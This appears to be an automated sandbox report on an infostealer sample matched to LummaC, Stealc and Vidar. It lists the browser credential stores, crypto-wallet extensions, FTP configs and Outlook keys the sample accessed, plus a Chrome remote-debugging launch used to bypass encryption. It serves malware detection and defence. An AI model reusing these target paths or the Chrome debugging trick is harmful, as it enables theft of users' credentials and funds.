Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\JKECGDBFCB.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP

Source: Yara match	File source: 00000013.00000003.2952766188.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2978726048.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.3033374446.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2952585223.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.3005504175.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.3033026272.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2977685689.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.3005248474.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: feb3d39b6a.exe PID: 6568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: feb3d39b6a.exe PID: 5080, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 0d957dbf73.exe PID: 6256, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: feb3d39b6a.exe PID: 6568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: feb3d39b6a.exe PID: 5080, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000014.00000002.3062536575.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3252381859.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3244939214.0000000000BB1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3154801184.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2971078627.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2048185134.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2593553859.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3069078994.0000000000BB1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2604363979.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 815f2a8fe8.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7096, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	11 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	871 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	111 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
